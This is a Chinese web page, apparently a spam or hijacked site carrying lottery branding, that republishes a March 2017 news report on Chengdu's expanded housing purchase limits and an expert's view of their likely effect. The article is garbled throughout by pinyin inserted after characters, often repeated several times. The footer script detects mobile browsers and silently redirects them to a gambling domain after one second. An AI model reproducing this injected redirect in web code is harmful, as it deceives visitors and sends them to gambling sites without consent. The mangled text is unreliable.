开心彩票

开心彩票(piao)
开心彩票
年份搜索:
行业新闻
您现在的位置:开心彩票>>开心彩票>>行业新闻

成都加码住房限购 专家解读政策可能出现的效果

发布时间:2017/3/24 12:46:23阅读次数: 次

     

23日晚7时许(xu),成都(dou)市人(ren)(ren)民政府(fu)办公厅发(fa)出《成都(dou)市人(ren)(ren)民政府(fu)办公厅关于(yu)完善我市住房限购政策的通(tong)知(zhi)》。根据(ju)通(tong)知(zhi),成都(dou)24日起(qi)将(jiang)实施限购政策。

此次限(xian)(xian)购(gou)将二手房(fang)纳入(ru)限(xian)(xian)购(gou)范围(wei)。文(wen)件要求,将二手住(zhu)房(fang)纳入(ru)限(xian)(xian)购(gou)范围(wei),购(gou)房(fang)者在住(zhu)房(fang)限(xian)(xian)购(gou)区域(yu)购(gou)买二手住(zhu)房(fang)的,应符合(he)成(cheng)办发(fa)〔2016〕37号、成(cheng)办发(fa)〔2016〕45号文(wen)件规定的购(gou)买商品住(zhu)房(fang)条件,且(qie)只能新购(gou)买1套(tao)住(zhu)房(fang)(包括商品住(zhu)房(fang)和二手住(zhu)房(fang))。

2016年10月成(cheng)都(dou)曾(ceng)出(chu)台(tai)住(zhu)(zhu)房(fang)限购(gou)(gou)。相关文件规定,成(cheng)都(dou)高新(xin)区(qu)(qu)(qu)(qu)(qu)、成(cheng)都(dou)天府新(xin)区(qu)(qu)(qu)(qu)(qu)、锦江(jiang)区(qu)(qu)(qu)(qu)(qu)、青羊(yang)区(qu)(qu)(qu)(qu)(qu)、金牛区(qu)(qu)(qu)(qu)(qu)、武侯区(qu)(qu)(qu)(qu)(qu)、成(cheng)华区(qu)(qu)(qu)(qu)(qu)、龙泉驿区(qu)(qu)(qu)(qu)(qu)、新(xin)都(dou)区(qu)(qu)(qu)(qu)(qu)、温江(jiang)区(qu)(qu)(qu)(qu)(qu)、双流(liu)区(qu)(qu)(qu)(qu)(qu)、郫县(xian)范围(wei)内实行住(zhu)(zhu)房(fang)限购(gou)(gou),同(tong)一身份自(zi)然人、法人只能新(xin)购(gou)(gou)买1套商品住(zhu)(zhu)房(fang)(法人单位(wei)经审查确属用自(zi)有资金购(gou)(gou)买商品住(zhu)(zhu)房(fang)且用于(yu)职工自(zi)住(zhu)(zhu)的(de)除外)。严格执行住(zhu)(zhu)房(fang)限购(gou)(gou)地区(qu)(qu)(qu)(qu)(qu)信贷(dai)政(zheng)策,购(gou)(gou)买二(er)套房(fang)商业性个人住(zhu)(zhu)房(fang)贷(dai)款(kuan)首付款(kuan)比例不低(di)于(yu)40%。

2016年11月17日,成(cheng)(cheng)都(dou)再次发布限购(gou)(gou)(gou)升(sheng)级(ji)措施。升(sheng)级(ji)后的(de)限购(gou)(gou)(gou)措施规定(ding),成(cheng)(cheng)都(dou)高新区(qu)(qu)(qu)南(nan)部(bu)园(yuan)区(qu)(qu)(qu)、天府新区(qu)(qu)(qu)成(cheng)(cheng)都(dou)直管区(qu)(qu)(qu)户籍(ji)居(ju)(ju)民(min)(min)或(huo)在(zai)成(cheng)(cheng)都(dou)高新区(qu)(qu)(qu)南(nan)部(bu)园(yuan)区(qu)(qu)(qu)、天府新区(qu)(qu)(qu)成(cheng)(cheng)都(dou)直管区(qu)(qu)(qu)稳定(ding)就业并连(lian)续缴(jiao)纳(na)社会保险或(huo)个人所得税1年以上(shang)的(de)其他地(di)区(qu)(qu)(qu)户籍(ji)居(ju)(ju)民(min)(min),在(zai)本(ben)区(qu)(qu)(qu)域(yu)内(nei)无自有(you)产权住(zhu)(zhu)房(fang),且2016年10月1日后尚未在(zai)成(cheng)(cheng)办(ban)发〔2016〕37号文件规定(ding)的(de)住(zhu)(zhu)房(fang)限购(gou)(gou)(gou)区(qu)(qu)(qu)域(yu)内(nei)新购(gou)(gou)(gou)买(mai)商(shang)品住(zhu)(zhu)房(fang)的(de),可在(zai)本(ben)区(qu)(qu)(qu)域(yu)范围内(nei)购(gou)(gou)(gou)买(mai)1套(tao)商(shang)品住(zhu)(zhu)房(fang)。不(bu)符合上(shang)述条件的(de)居(ju)(ju)民(min)(min),不(bu)得在(zai)上(shang)述区(qu)(qu)(qu)域(yu)购(gou)(gou)(gou)买(mai)商(shang)品住(zhu)(zhu)房(fang)。

成(cheng)都(dou)市房产经纪协会(hui)副会(hui)长(zhang)刘(liu)应忠表(biao)示,对于成(cheng)都(dou)市将扩(kuo)大限(xian)购(gou)范(fan)围(wei)社会(hui)已有一定预期,“所以前段时间无(wu)论(lun)是新盘还(hai)是二手房成(cheng)交都(dou)比较(jiao)火热(re),甚至出现半夜(ye)三点排队过户(hu)(hu)的(de)情况。”刘(liu)应忠表(biao)示,此次限(xian)购(gou)政策最(zui)重要的(de)内容(rong)一是两年社保或(huo)有户(hu)(hu)籍才(cai)能够在成(cheng)都(dou)购(gou)房,二是必(bi)须在户(hu)(hu)籍区域内购(gou)房。

对于政策可能(neng)(neng)(neng)出(chu)现(xian)(xian)的(de)效(xiao)果,刘应忠表示(shi)短(duan)期内能(neng)(neng)(neng)够明显(xian)抑制需求(qiu),“但(dan)已经交付(fu)定金还未(wei)过户(hu)的(de)情况(kuang)可能(neng)(neng)(neng)比较麻烦,现(xian)(xian)在具体不知道政策如何实施(shi)(shi),如果不立(li)即实施(shi)(shi),还有一个缓冲期的(de)话,可能(neng)(neng)(neng)短(duan)时期内又会出(chu)现(xian)(xian)一个异(yi)常火爆的(de)局面。”

成(cheng)(cheng)都(dou)(dou)市(shi)房(fang)管(guan)局强调,《通知》自(zi)2017年(nian)3月24日起(qi)实施。实施之前已(yi)在(zai)全市(shi)统一的(de)商品(pin)房(fang)买(mai)卖合同(tong)网上(shang)签约系统完成(cheng)(cheng)订(ding)购、拟(ni)定合同(tong)、已(yi)售(备案)状态的(de)商品(pin)住房(fang),在(zai)存(cun)量房(fang)交易服务平(ping)台(tai)上(shang)打(da)印(yin)“成(cheng)(cheng)都(dou)(dou)市(shi)存(cun)量房(fang)买(mai)卖经(jing)纪服务合同(tong)“(居(ju)间成(cheng)(cheng)交)、“成(cheng)(cheng)都(dou)(dou)市(shi)存(cun)量房(fang)买(mai)卖合同(tong)”(自(zi)由成(cheng)(cheng)交)的(de)二手住房(fang),按原政策执行。

Copyright © 湖北开心彩票发展集团有限公司 All Rights Reserved 版权所有 鄂ICP备15008705号
地址:湖北省武汉市洪山区徐东大街137号能源大厦9-11F传真:027-88300103Designed by
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();